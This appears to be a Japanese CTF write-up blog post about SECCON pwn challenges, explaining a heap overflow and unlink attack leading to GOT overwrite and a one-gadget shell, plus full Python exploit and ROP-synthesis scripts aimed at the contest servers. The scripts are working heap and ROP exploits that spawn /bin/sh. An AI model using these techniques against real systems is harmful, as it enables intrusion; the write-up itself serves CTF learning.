		if(fr[i]=='\x0a')break;
	}
	return i;
}

//0x6030e0 に リストがある。

int remove_tweet(void* man,int n){
	//tlからみつけてfreeする。
	var10 = tl;
	while(var10!=NULL){
		if([var10]==n)break;
		var10 = [var10+0x90];
	}
	if(var10==NULL)return 0;
	if([var10+8]!=man)return -1;
	if([tl]==var10){
		tl = [var10+0x90];
		free(var10);
	}
	var8 = var10; //delete
	var10 = tl; //for
	while(var10!=0){
		if(var8==[var10+90])break;
		var10 = [var10+90];
	}
	[var10+0x90]; = [var8+90];
	free(var8);
	return 1;
}

int change_name(void* man,char* s){ //var18, var20
	varc = hash([man]);
	if(varc==0)return -1;
	if(getuser([man])!=0){
		puts("falied");
		return -1;
	}
	varc = hash([man]);
	if(var18 != [tbl+8*varc]){
		//
		if(varc = hash()>=0){
			[man+0x10] = varc;
		}
	}
}

int signup(char* s){ //var18
	if(get_user(s)!=0){
		printf(fail);
		return 0;
	}
	var8 = malloc(0x18);
	varc = hash(s);
	if(varc<0){
		free(var8);
		print(fail);
	}
	else{
		[var8] = strdup(s);
		[var8+8] = 0;
		//以降
	}
}

void remove_user(void* man){
	if(
}

中で使われてる構造体は、

struct tweet{ //長さ0x98
  int num; 
  void* tweeter;  // +0x8
  char data[0x80]; // +0x10
  void* next; // +0x90
};

struct man{ //長さ0x18
  char* name; 
  //以下略
};

みたいなの。

manのnameへのポインタは、

  getnline(s,0x20);
  taro->name = strdup(s);

として確保されているが、change_nameにおいて

  getnline(s,0x20);
  linecpy(taro->name,s,0x20);

みたいなことをしている。(linecpyはstrcpyみたいな独自関数)

strdupは文字列の長さ分だけmallocしたものを返すので、最初にnameを短くつけておいたあと、change_nameで0x20くらいの長さの名前に書き換えることにより、mallocにおいてオーバーフローを起こすことができる。

で、ここで壊しうるのは次のmallocチャンクのsize部分のあたりなので、そこからうまいことexploitしていく。

ツイートを消したり、名前を長さ0の文字列にすることで人を消せたりする仕様なので、ある程度自由にfreeもできる。

自分の名前でないとツイートを消せないので、結果的には、

1. 人『c』を作る
2. 人『a』を作る
3. 『a』でツイート[1]をする
4. 『c』でツイート[2]をする
5. 『a』でツイート[1]を消す
6. 『a』の名前を書き換えて、次のmallocヘッダのsizeを0x91にする
7. 人『b』を作る
8. 人『`BCA』を作る
9. 人『b』を消す
10. 『c』でツイート[3]をする
11. 『c』でツイート[3]を消す
11. 『c』でツイート[2]を消す

となった。

自分でも書いていてなにが起こっているのかよく分からないので解説する。

まず、5.までで、heapは以下のようになっている。(括弧内はサイズ)

+-------------+
|             |
|    人c      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人cの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人a      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人aの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|             |
|             |
|             |
| ツイート[1] |
| (free済み)  |
|   (0xa0)    |
|             |
|             |
|             |
+-------------+
|             |
|             |
|             |
| ツイート[2] |
|   (0xa0)    |
|             |
|             |
|             |
+-------------+

この時点で、ツイート[1]だったチャンクはunsorted_binsに繋がっているわけだが、この状態で

6. 『a』の名前を書き換えて、次のmallocヘッダのsizeを0x91にする

をすると、あたかもサイズ0x90のチャンクがunsorted_binsに繋がっているように見える。(0x1はprev_inuseビット)

で、ここで

7. 人『b』を作る
8. 人『`BCA』を作る

をすると、ツイート[1]だったチャンクが切り分けられて使われる。

このとき重要なのが、チャンクヘッダのサイズを小さくしていることにより、ツイート[2]の直前にあるprev_sizeが更新されない、ということである。(実際には、更新すべき場所の0x10前が更新されている)

この時点で、heapの状況は

+-------------+
|             |
|    人c      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人cの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人a      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人aの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人b      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人bの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|   人`BCA    |
|   (0x20)    |
|             |
+-------------+
|             |
|人`BCAの名前 |
|   (0x20)    |
|             |
+-------------+
|             |
|  >^^^^^^<   |
|  >  闇  <   |
|  >vvvvvv<   |
|   (0x20)    |
|             |
+-------------+
|             |
|             |
|             |
| ツイート[2] |
|   (0xa0)    |
|             |
|             |
|             |
+-------------+

となっている。

このあとにツイート[2]を消してunlinkしたいのだが、まだ人『b』が使用中なので、このままツイート[2]を消すと『corrupted double-linked list』エラーが出てプログラムが落ちてしまう。そこで、

9. 人『b』を消す

をすることによって、人『b』の部分をfreeした後、(人『b』はfastbinsのサイズなので、この時点ではまだ片方向リスト)

10. 『c』でツイート[3]をする
11. 『c』でツイート[3]を消す

をすることによって、malloc_consolidateが呼ばれ、人『b』がunsorted_linksに繋がれ、無事にunlinkできるようになる。よって、後は

11. 『c』でツイート[2]を消す

をすると、いっしょに上のサイズ0xa0の部分がunlinkされるので、最終的に、heapは以下のようになる。

+-------------+
|             |
|    人c      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人cの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人a      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人aの名前  |
|   (0x20)    |
|             |
+-------------+
|             |  <---- main_arena.topがここを指している。
|             |
|             |
|             |
+-------------+
|             |
|  人bの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|   人`BCA    |
|   (0x20)    |
|             |
+-------------+
|             |
|人`BCAの名前 |
|   (0x20)    |
|             |
+-------------+

この11.まで行った状況でツイートをすると、人『`BCA』のチャンクと被ったチャンクがmallocで降ってくるので、
nameポインタがGOTを指すようにしたあと、人『`BCA』の名前を書き換えればripが取れる。

のだが、ここからが容易ではない。というのも、名前を書き換える際に、今までの名前と新しい名前の先頭の文字列がprintableでないとそもそも名前を書き換えてくれない、という仕様になっているので、そこを切り抜けてやる必要がある。(ここでものっそい苦労した)(与えられたlibcでないとこの部分のデバッグができないので、環境を作るのにもめちゃ苦労した)

最終的には、mallocのアドレスの下1byteがprintableで、なおかつmallocのgotの下にisprintがあることが分かったので、malloc越しにisprintのアドレスをOne-gadget-RCEのアドレス(yamaguchi氏に探してもらった)に飛ばすことによってシェルを取った。

以下が自分のコード。

#coding: utf-8
from socket import *
import time


#sudo gdb -q -p `pidof -s execfile` -x gdbcmd
#socat TCP-L:10001,reuseaddr,fork EXEC:./execfile

#./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt


isgaibu = False
isgaibu = True

sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	sock.connect(("chat.pwn.seccon.jp", 26895))
	raw_input('gdb$')
		
else:
	sock.connect(("localhost", 10001))
	raw_input('gdb$')


size_t = 0x8 #x64かx86か。sizeof(void*) の値で。

def addr2s(x):
	res = ""
	for i in xrange(size_t):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(size_t):
		res *= 256
		res += ord(s[size_t-i-1])
	return res
	
def shell():
	while True:
		sock.send(raw_input() + '\n')
		print sock.recv(1024)

def getunt(c):
	res = ""
	while res=='' or res[-len(c):]!=c:
		res += sock.recv(1)
		#print res
	print res
	return res

def send(s):
	#print '[sending :: %s]' % s
	sock.send(s)

def getshellc(fn):
	res = ""
	with open(fn,'rb') as fp:
		res = fp.read()
	print map(ord,res)
	return res


class FSB:
	def check_diff(sl):
		#return ''.join(map(lambda p: '%0x' + chr(p+ord('A')) , xrange(15)))
		return '%8x,' *  15
		#0x25,0x30,0x78,0x2c なので、そのへんを探す。
	def init(sl,kome,bytm,paynum,yet):
		#たとえば、deadbeef,cafebabe,abcd9876,3025cafe, ... なら、
		#fsb.init(kome=3,bytm=2,paynum=,yet=) で。

		sl.kome = kome
		sl.head = '*' * bytm
		#%hnでやっていきます
		sl.yet = yet + paynum * size_t * (size_t / 2) + bytm
		print 'yet .. ',sl.yet
		print yet
		#payloadは、yetとpaynum分ずれて出る。
		sl.data = []
		sl.npn = 0
	def add(sl,addr,val): #addrをvalにする
		
		for i in xrange(size_t/2): #x86なら2,x64なら4
			sl.head += addr2s(addr + i*2)
			sl.data.append((val % 0x10000, '%%%d$hn' % (sl.npn + sl.kome + 2)))
			val /= 0x10000
			sl.npn += 1
		#短い順にソートすることにより、ペイロードを短くする
		
	def get(sl):
		res = sl.head
		ny = sl.yet
		data = sorted(sl.data)
		for ty,s in data:
			dy = ((ty-ny + 0x10000) % 0x10000)
			if dy>0:
				res += '%%%dx' % dy
			res += s
			ny = ty
		#print len(sl.head)
		#print s2hex(sl.head)
		return res

def make_man(s):
	getunt('menu > ')
	send('1\n')
	send(s+'\n')

def login(s):
	getunt('menu > ')
	send('2\n')
	send(s+'\n')

def make_tweet(s):
	getunt('menu >> ')
	send('4\n')
	send(s)

def rename(s):
	getunt('menu >> ')
	send('7\n')
	send(s)

def remove_tweet(n):
	getunt('menu >> ')
	send('6\n')
	send('%d\n' % n)

def logout():
	getunt('menu >> ')
	send('0\n')

make_man('c')
login('c')
logout()
make_man('a')
login('a')
make_tweet('aaaaaaaa' * 15 + '\x31\x00\x00\x00' + '\n') #1
logout()
login('c')
make_tweet('\x21' * 8 * 10 + '\n') #2
logout()
login('a')
remove_tweet(1)
rename('dddddddd' * 3 + '\x91\x00\x00\x00' + '\n')
logout()
make_man('b')
login('b')
logout()
make_man('`BCA')
login('`BCA')
logout()
login('b')
rename('\n')  #user_tbl
login('c')
time.sleep(1)
make_tweet('consolidate' + '\n') #3
remove_tweet(3)
remove_tweet(2)
logout()
login('`BCA')
make_tweet('cccccccc' * 6 + '\x70\x30\x60\x00' + '\n') #4 #ここで、名前を貼ってるアドレスが書き換わる
remove_tweet(4)
send('3\n')
getunt('Users List\n')
s = sock.recv(1024)
print s

s = s[2:]
s = s[:6]
print zip(range(0,len(s)),zip(s,s2hex(s)))

malloc_addr = s2addr(s + '\x00' * 2)
print hex(malloc_addr)
raw_input('leak')

oge_addr = malloc_addr - 0x082660 + 0x0e576c

send('7\n')
send('\x60' * 8 + addr2s(oge_addr) + '\n')

send('/bin/sh'+'\n')
shell()

大会中

リバーシングするべき場所が多くて大変だったので、出題直後のまだ元気な時点である程度リバーシングしていたのがよかった。

GOT任意書き換えに持ち込めたときには『やったか!?』となったがそこからが本当の苦しみだった。書き換えようとする関数の下1byteが悉くprintableでなかったり、printfとかそういう系も絶妙にいじれなかったりして非常につらかった。『問題バイナリが悪意を持って自分に刃向かってるとしか思えない』とか『部屋に入りきらない絨毯を敷きつめようとしている感じ』とか『俺はchatと刺し違えるぞ』みたいなことを叫びながらやっていた。非常につらかった。

また、今回はlibcの下1バイトが合わないとデバッグがつらいやつだったので手元に同じ環境を作ろうとしたのだがとても難航した。(yamaguchi氏に仮想環境を頼んだらjmperのときのと同様の事案をやらかしたりしていた)　結局、moratorium氏が奇跡的に同じバージョンのUbuntuを持っていたので、彼から借りてデバッグしたらわりとすぐ原因が見つかったので環境は大事という気持ちになった。(One-gadget-RCEのアドレスを1命令分後ろにしていた)

ropsmyth

問題と解法

BASE64エンコードされたROPガジェット群が降ってくるので、rspが先頭を指しているような状態でretすると

fd = open("secret", 0, 0);
len = read(fd, buf, 256);
write(1, buf, len);

をやるようなスタックを返す問題。

降ってくるガジェットを逆アセンブルして観察してみると、わりと規則性があって、どれも、

• pop rsi;
• push rax; pop rdi;
• push rax; pop rdx;
• pop rax;
• syscall; push rax;

の5つのガジェットが存在しているみたい。
で、呼ぶべきシステムコールを見てみると、これらをうまいこと組み合わせる感じである、という作問者の意図が伝わってくる感じなので、それにしたがって組み合わせる。

途中に、

  35:	41 5b                	pop    r11
  37:	49 81 c3 25 97 79 77 	add    r11,0x77799725
  3e:	49 81 f3 0b 57 90 40 	xor    r11,0x4090570b
  45:	49 81 c3 71 bf 2b 18 	add    r11,0x182bbf71
  4c:	49 81 c3 aa 1b c4 1b 	add    r11,0x1bc41baa
  53:	49 81 eb b7 8c a1 15 	sub    r11,0x15a18cb7
  5a:	49 81 f3 a5 04 3b 2b 	xor    r11,0x2b3b04a5
  61:	49 81 f3 a0 c5 2b 1e 	xor    r11,0x1e2bc5a0
  68:	49 81 f3 9e dc f0 68 	xor    r11,0x68f0dc9e
  6f:	49 81 fb 3e 00 cb 21 	cmp    r11,0x21cb003e
  76:	74 06                	je     0x7e
  78:	f4                   	hlt    

みたいなのがあったりして、要するにうまいこと値を合わせてスタックに積んでおかないと途中で実行が止まってしまうという感じなので、そのへんもどうにかしてやる。(objdumpの解析時に逆から読んで逆算すればよい)

以下は解答スクリプト。

#coding: utf-8
import os

samp = """
9PT09PT09PRQX0FeSYH24JvHBkmBxrN71F5JgfY7I6hRSYH+V1ynF3QD9PT0W0iB8/1q70lIgcPrcNRaSIHr99Q6Q0iB81H7dgRIgesNwodTSIH7NqusAXQF9PT09PRdSIH1B1uaOkiB7XPnL2BIgfVzrVVISIHFeqKpJEiB7TMlqQZIge057RVqSIH1MxatKEiB9Wq3lCZIgf0KHVdCdAT09PT0QV9JgcebW58DSYHv+vakC0mBx6OTE2BJgff5MrQ8SYH3O8tOSUmB/2l85010BvT09PT09EFfSYH3iNkWFUmB9+GOA3FJgcdgBpEfSYH3DvPbDEmB72/qC3RJgccYNqBUSYH3zUXWXkmB71tAAjJJgf/LsA53dAj09PT09PT09MP09PT0DwVZSIHBJUyZJEiB8cO/wltIgfmGKkoDdAP09PRBW0mB63VeKB9JgfPcPt9qSYHzGbGQdkmB84bEeGZJgeudM7I7SYHr9m2dW0mB62bm9jZJgftBABtodAP09PTD9FhBXEmB7EWwIDtJgcR2Fdt/SYH8MLoicXQF9PT09PRBXkmB9l4LuhdJgcYIVzcESYHGsq4hKkmB9msz2HBJgfYtJ/cVSYH249yLE0mBxqd1cHJJge7QQyFuSYH+Mf/8aXQE9PT09EFeSYH20puISEmBxjxh8WtJge6wiG1wSYHuWLE0c0mB9gQz60ZJgfZzOW0FSYH2NBduAkmB/mzef0h0BvT09PT09MP09PT09PRQWkFcSYH0+SgaB0mB9DslDglJgezz8edDSYH0PS3WWkmB9PEQV0JJgcSU+VRvSYHEJJBmNkmB7OLI4hZJgfySIEMbdAb09PT09PTD9PT0XllIgcHNYUlUSIHpgV06G0iBweVzoGFIgcHSwYg4SIHpv2/1IUiBwS+x4G5IgfFTnZcySIH5+PBaRnQC9PTD
"""

samp2 = """
9PT0UFpBXkmB9lO7iF1JgfYudSRaSYH2e18QV0mB7m+2pRFJgf5ezVkvdAL09EFfSYH3su6Dc0mB721jumJJgfe0s510SYHvedJCTUmBx3JT5DRJgf9ySRcidAL09EFbSYHDrGOOdUmB+1BkThx0CPT09PT09PT0WUiB8VG9ZlZIgfHnhsI1SIHBE4UNW0iB6XIjEC1IgemU4kdeSIHBk0LCF0iB6fbiMilIgfmuCfIRdAX09PT09MP09PT09PT09F5BXEmBxAtnZC5JgcR/ABQhSYH0ekphRkmBxO9qNF9JgcSpYfFQSYHsnMnoI0mBxL60nAJJgfzRBHE8dAX09PT09FlIgelJizJPSIHxn0X4AEiB+exnxl90BPT09PRBXkmBxgqlpWhJge75TxNjSYHGBsIDZkmB/mEp7Sh0CfT09PT09PT09EFdSYH1gETSc0mB7UYupiNJge3FJC9sSYH1qlh1JkmB9TUDIFlJgfXziU9ASYH1T5RURUmB/dsxXid0CPT09PT09PT0QVtJgeuiAjlQSYHDhuzkGUmB8z/GKlNJgfMiPKcCSYHzu+V4F0mB+/gIQAd0B/T09PT09PRZSIHxXgrEJkiB8e/hsiZIgcH1fh1GSIHBdLcWXUiBwdsoTx5Igem+vZQlSIHB1YHYfEiBwWUOiABIgfk2M8EwdAX09PT09EFbSYHD7+RwYEmB+73JIQ50B/T09PT09PRdSIHFpNk3A0iB/ZHgzUd0AvT0w/QPBVtIges01nRkSIHrzyWEY0iB80Wt6XVIgfN1FOM7SIHD+zoVf0iBw9BP6xJIgcPZW5IhSIHDybBFKUiB+1cMwkN0A/T09MP09PT09PT0WFtIgfMkHegwSIHzmmZaXEiB8yXM8llIgfvk201QdAX09PT09EFdSYHtoboHDUmB7QJtbm1JgfWuVTotSYH1nCyifkmB7cEVx1VJgf2Y8J8VdAL09FlIgcEolzY9SIHxVmYaI0iBwdOgiBBIgcEdyRxJSIH5uypVanQC9PRBW0mB8++GNCNJgfOLKhhPSYHDYXLcCkmBw1B5kAhJgevWLZtrSYHrF2pIBUmBw0Quv2VJgetOL6NWSYH7TuKDanQC9PRBXEmB9Nr9gxVJgfRvf4cVSYH0BmxPa0mB7C4+uhBJgfzqXBgQdAL09MP09PT09FBfQV5JgcaGDWc/SYHueZxqYUmBxi1uZABJgcYLFZ0iSYHGtaY8EUmB9lm5hA1Jge5UthRBSYH+rJIBdXQE9PT09EFbSYHrshP4M0mB89gvwipJgeujkQxySYH7k3eHNXQC9PRBXUmBxd8PW0ZJgcVUyccCSYH9dYUVAXQJ9PT09PT09PT0W0iBwxJkdnFIgesKE4o7SIH7W+3VEnQJ9PT09PT09PT0QV1JgfU3nGxYSYHFvTGrAEmBxXnxR3ZJgfVYfMs9SYHFwlxND0mBxdK5gT9Jgf2m4Z1DdAL09MM=
"""

samp3 = """
9FhBW0mB82cGQmBJgftIHOgPdAj09PT09PT09FtIges7e1NoSIHrWFk6ekiB8xzig3tIgcM7+qsxSIHrz/I7e0iB81oFc1JIgfuEO8k8dAX09PT09FlIgfGvyShwSIHxHuazekiB6cvN+mBIgelrqc9FSIHpMlCXNEiB8REPtntIgfHggxp5SIH5lbj6F3QG9PT09PT0w/T09PT09A8FQVtJgcOofuUJSYHDD8+jPEmBwwJcDUtJgfNs8bUrSYHzDglqX0mB8xwKT0hJgcNKw6MmSYH78k2mNXQD9PT0QV9Jge+tN8R4SYH/ATtWbHQC9PRBX0mB76kCGmZJgff5zo4XSYH/ZIIpa3QD9PT0XUiB7U5KoTFIge1p9+kPSIH1S19ZJUiB/WxfYlR0CfT09PT09PT09EFdSYH1Gc72RkmB7TMuiDBJge0hFT4WSYHFjghODkmBxfKcEyFJgf3tcJskdAn09PT09PT09PRBXkmBxmTIvSVJge4h/zJQSYHGLx6KY0mBxk9j9m5JgfbB1OtQSYHG4dgBZEmB/vdCFkh0BfT09PT0w/T09PT09PT0UF9BW0mB62VPohRJgcNQB+F8SYHzilY1EUmBw11X2ztJgevF899GSYHD0S7/HkmB81Fx6zxJgfs4aFIQdAf09PT09PT0W0iB8zgTuVJIgcND9EB+SIHrt4HJNEiB+wuG/Rp0BvT09PT09EFbSYHzKXswNEmBwys95S1JgfN0JJwESYHzntvLe0mB83LspzlJgevcmap1SYH7K6knanQG9PT09PT0QVxJgewZbFsJSYHEdGNDIkmB9CHFgiBJgfSfAfASSYHsWIwmA0mBxNGPPRlJgfzgBI9GdAP09PRZSIHxjATBZEiBwRm+xDlIgfGGJNsdSIH5RJcmR3QH9PT09PT09EFbSYHzppG5ekmBw8S1JRtJgetRkAglSYHzM6XTKEmB8+NWWEhJgfOfJ69XSYHrk0VeU0mB684LQm1JgfuClwoYdAX09PT09MP09PT09PReQVxJgew+0d0xSYH0SfpzP0mBxDYI6B9Jgfye494vdAb09PT09PRdSIHF+p0LP0iB7aaVowJIgf2Uf4RudAL09FtIgevdtjh8SIHDPXmWAUiB8ySRhlBIgcNCSWoUSIHzVTc+S0iB+8tFWjx0BPT09PRbSIHz92qaH0iB66rs/0BIgfv2NToFdAP09PRBXkmBxlpU70VJgca5sQsPSYHGPiQzYUmB7slTjTNJgf7Nkh8PdAX09PT09EFfSYHvj0StVkmBx6cZ+DJJgccBH6dXSYHv2ny6KkmBx+25lGdJgcd3FwUNSYHHQg95IEmB/3ZCAhB0A/T09EFbSYHDETU7fkmB+8vTNzN0A/T09EFcSYH0WPxJFUmB7H51U3FJgfSos6piSYH8uOLbd3QI9PT09PT09PTD9PT09PT09FBaQVtJgfMZdYsTSYHzRmFXZEmB69j//kVJgcOeGzQWSYHz2HCCYkmB8/LDMmRJgfNQepVVSYHDWtRaPkmB++0/si90BPT09PRBXEmB9I2Gh39JgfR/w1QhSYHE7QHCJ0mB/A8Xuil0CfT09PT09PT09EFdSYH1CRy5aEmB9XPKLW1Jge1w1V4CSYH9iaJZWnQH9PT09PT09EFfSYHvUBc6UUmBx1y7ET1JgceG1AVSSYHH287RV0mB75OGoWVJgfeFoIB+SYH3WvCDR0mBx5B3jWRJgf9HgbgsdAT09PT0ww==
"""
import base64

def b642asm(s):
	with open('ob.txt','w') as fp:
		fp.write(s)
	os.system('base64 -d < ob.txt > bin')
	os.system('objdump -D -Mintel,x86-64 -b binary -m i386 bin > objd.txt')
	with open('objd.txt','r') as fp:
		ss = fp.readlines()
	return ss

size_t = 0x8 #x64かx86か。sizeof(void*) の値で。

def addr2s(x):
	res = ""
	for i in xrange(size_t):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(size_t):
		res *= 256
		res += ord(s[size_t-i-1])
	return res
	
def b642rop(s):
	print s
	ss = b642asm(s)
	ss = map(lambda x: x.split('\t'),ss)
	ss = filter(lambda x: len(x)==3,ss)
	ss = map(lambda x: (x[0],x[2]),ss)
	for d in ss:
		pass
		#print d
	res = []
	nd = [] #rdi rsi rax
	for d in ss:
		if d[1]=='hlt    \n':
			continue
		#if 'rdx' in d[1]: #rdi rsi rdx rax
		#	print d
		nd.append(d)
		if d[1]=='ret    \n':
			res.append(nd)
			nd = []

	dat = {}
	for i,ds in enumerate(res):
		gyo = ds[0][0]
		for g,d in ds:
			if 'rdi' in d:
				dat['rdi']=i
				break
			elif 'rsi' in d:
				dat['rsi']=i
				break
			elif 'rdx' in d:
				dat['rdx']=i
				break
			elif 'syscall' in d:
				dat['sys']=i
				break
			elif 'pop' in d and 'rax' in d:
				dat['rax']=i
				break
	print dat
	

	# 0x00800000: gadgets
	# 0x00a00000: data region
  
	#2 0 1
  
	def tadd(x,q):
		return (x - q) 	
	def tsub(x,q):
		return (x + q)
	def txor(x,q):
		return x ^ q
  	
 
	def call(qs,x=-1):
		dx = res[dat[qs]]
		tp = addr2s(int(res[dat[qs]][0][0][:-1],16) + 0x00800000) 
		ress = "" #addr2s(int(res[dat[qs]][0][0][:-1],16) + 0x00800000) 
		nx = -1
		for d in dx[::-1]:
			if 'je' in d[1]:
				continue
			if 'ret' in d[1]:
				continue
			if 'syscall' in d[1]:
				continue
			elif 'push' in d[1]:
				continue
			elif 'cmp' in d[1]:
				nx = int(d[1].split(',')[1],16)
				#print d[1],hex(nx)
			elif 'pop' in d[1]:
				#print d[1]
				if 'rdx' in d[1] or 'rdi' in d[1]:
					continue
				elif qs in d[1]:
					ress = addr2s(x) + ress
					continue
				else:
					ress = addr2s(nx) + ress
				continue
			else:
				if 'add' in d[1]:
					nx = tadd(nx,int(d[1].split(',')[1],16))
				elif 'sub' in d[1]:
					nx = tsub(nx,int(d[1].split(',')[1],16))
				elif 'xor' in d[1]:
					nx = txor(nx,int(d[1].split(',')[1],16))
				else:
					print 'undefined!!'
					print d[1]
		ress = tp + ress
		return ress
	 
	da_reg = 0x00a00000
	buf = 0x00a00010
	#print res[dat['rsi']][0][0]
	#rops = addr2s(int(res[dat['rsi']][0][0][:-1],16) + 0x00800000) 
	rops = ""
	rops += call('rsi',0)
 	rops += call('rax',0)
	rops += call('rdx')
	rops += call('rax',da_reg)
	rops += call('rdi')
 	rops += call('rax',2)
 	rops += call('sys')
 	
	rops += call('rdi')
	rops += call('rsi',buf)
 	rops += call('rax',256)
	rops += call('rdx')
 	rops += call('rax',0)
 	rops += call('sys')
 		
	rops += call('rdx')
 	rops += call('rax',1)
	rops += call('rdi')
	rops += call('rsi',buf)
 	rops += call('rax',1)
 	rops += call('sys')
	
	rops = base64.b64encode(rops)
	return rops

#coding: utf-8
from socket import *
import time


#sudo gdb -q -p `pidof -s execfile` -x gdbcmd
#socat TCP-L:10001,reuseaddr,fork EXEC:./execfile

#./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt


nsq = """
9FhBW0mB82cGQmBJgftIHOgPdAj09PT09PT09FtIges7e1NoSIHrWFk6ekiB8xzig3tIgcM7+qsxSIHrz/I7e0iB81oFc1JIgfuEO8k8dAX09PT09FlIgfGvyShwSIHxHuazekiB6cvN+mBIgelrqc9FSIHpMlCXNEiB8REPtntIgfHggxp5SIH5lbj6F3QG9PT09PT0w/T09PT09A8FQVtJgcOofuUJSYHDD8+jPEmBwwJcDUtJgfNs8bUrSYHzDglqX0mB8xwKT0hJgcNKw6MmSYH78k2mNXQD9PT0QV9Jge+tN8R4SYH/ATtWbHQC9PRBX0mB76kCGmZJgff5zo4XSYH/ZIIpa3QD9PT0XUiB7U5KoTFIge1p9+kPSIH1S19ZJUiB/WxfYlR0CfT09PT09PT09EFdSYH1Gc72RkmB7TMuiDBJge0hFT4WSYHFjghODkmBxfKcEyFJgf3tcJskdAn09PT09PT09PRBXkmBxmTIvSVJge4h/zJQSYHGLx6KY0mBxk9j9m5JgfbB1OtQSYHG4dgBZEmB/vdCFkh0BfT09PT0w/T09PT09PT0UF9BW0mB62VPohRJgcNQB+F8SYHzilY1EUmBw11X2ztJgevF899GSYHD0S7/HkmB81Fx6zxJgfs4aFIQdAf09PT09PT0W0iB8zgTuVJIgcND9EB+SIHrt4HJNEiB+wuG/Rp0BvT09PT09EFbSYHzKXswNEmBwys95S1JgfN0JJwESYHzntvLe0mB83LspzlJgevcmap1SYH7K6knanQG9PT09PT0QVxJgewZbFsJSYHEdGNDIkmB9CHFgiBJgfSfAfASSYHsWIwmA0mBxNGPPRlJgfzgBI9GdAP09PRZSIHxjATBZEiBwRm+xDlIgfGGJNsdSIH5RJcmR3QH9PT09PT09EFbSYHzppG5ekmBw8S1JRtJgetRkAglSYHzM6XTKEmB8+NWWEhJgfOfJ69XSYHrk0VeU0mB684LQm1JgfuClwoYdAX09PT09MP09PT09PReQVxJgew+0d0xSYH0SfpzP0mBxDYI6B9Jgfye494vdAb09PT09PRdSIHF+p0LP0iB7aaVowJIgf2Uf4RudAL09FtIgevdtjh8SIHDPXmWAUiB8ySRhlBIgcNCSWoUSIHzVTc+S0iB+8tFWjx0BPT09PRbSIHz92qaH0iB66rs/0BIgfv2NToFdAP09PRBXkmBxlpU70VJgca5sQsPSYHGPiQzYUmB7slTjTNJgf7Nkh8PdAX09PT09EFfSYHvj0StVkmBx6cZ+DJJgccBH6dXSYHv2ny6KkmBx+25lGdJgcd3FwUNSYHHQg95IEmB/3ZCAhB0A/T09EFbSYHDETU7fkmB+8vTNzN0A/T09EFcSYH0WPxJFUmB7H51U3FJgfSos6piSYH8uOLbd3QI9PT09PT09PTD9PT09PT09FBaQVtJgfMZdYsTSYHzRmFXZEmB69j//kVJgcOeGzQWSYHz2HCCYkmB8/LDMmRJgfNQepVVSYHDWtRaPkmB++0/si90BPT09PRBXEmB9I2Gh39JgfR/w1QhSYHE7QHCJ0mB/A8Xuil0CfT09PT09PT09EFdSYH1CRy5aEmB9XPKLW1Jge1w1V4CSYH9iaJZWnQH9PT09PT09EFfSYHvUBc6UUmBx1y7ET1JgceG1AVSSYHH287RV0mB75OGoWVJgfeFoIB+SYH3WvCDR0mBx5B3jWRJgf9HgbgsdAT09PT0ww==
"""

print b642rop(nsq)

isgaibu = False
isgaibu = True

sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	sock.connect(("ropsynth.pwn.seccon.jp", 10000))
	#raw_input('gdb$')
		
else:
	sock.connect(("localhost", 10001))
	raw_input('gdb$')

for i in xrange(5):
	time.sleep(1)
	#s = sock.recv(4096)
	#print s.split('\n')
	s = sock.recv(4096)
	print s.split('\n')
	r =  b642rop(s.split('\n')[-2])
	print r
	sock.send(r+'\n')
for i in xrange(10):
	print sock.recv(1024)

大会中

chatを解き終わって9時をそれなりに回っていて、あと何をしようか、と相談するとこれを勧められる。
objdumpの結果を見るに、それなりにどうにかなりそうだと思えたので本腰をいれていく。
ROPの実行される状況とかをmoratorium氏に聞いたりしつつ、がりがりコードを書いていく。
こないだのHITCONのMOREでも似たような状況(moratorium氏と一緒にやっていて、プログラミングゲーで、それなりに残り時間がない)に陥っていたなー、とか思ったり、『Here is the flag! といってフラッグがこないだみたいな感じで降ってきたらやですねー』(縁起でもない!!)みたいなことを話したりしながら書いていく。
最初に書きあげて出すとNGと言われ、与えられたファイルを使って、手元で再現できるようにデバッグしたりする。(alarmを潰したりした)
終了10分前くらいに通ったので非常に気持ちがよかった。

感想

jmperとchatにあまりにも時間がかかってしまった。あんなに泥沼にはまるとは思っていなかった。
手元でデバッグできる環境はとても大事であることが分かったので次回からはもっとうまくやっていきたい。

大事なことをすっかり忘れていたので追記

この記事は、TSG Advent Calendar 2016 - Adventarの12日目の記事として書かれました。

Reversingとかpwnとかを解くときのメモ(かきかけ)

この記事はTSG Advent Calendar 2016 - AdventarとIS17er Advent Calendar 2016 - Adventarの2日目の記事として書かれたわけではなかったのですが、記事がないので埋めなきゃいけないのと、多分このままだと書きかけのままはてなの肥やしになってしまうので、エイヤと公開したものです。僕が学習するたびに適度に更新されるはずなので、たぶん永遠に書きかけです。

Reversing,pwnとは

CTFというセキュリティについての大会でよく使われる問題の区分です。主に実行ファイルの解析や、大会サーバ上で動いている実行ファイルに対する攻撃などを行う分野です。僕は駒場祭で文花帖を自動でやるやつをやっていましたが、そいういう感じのことをやります。
Webとかsteganoとかは解くのにエスパー力(ドメイン知識ともいう)が要ってつらいですが、それらに比べてエスパー問が少ない(気がする)ので僕は好きな分野です。

Reversing

実行ファイルが与えられるので、それの挙動を解析してくださいというもの。
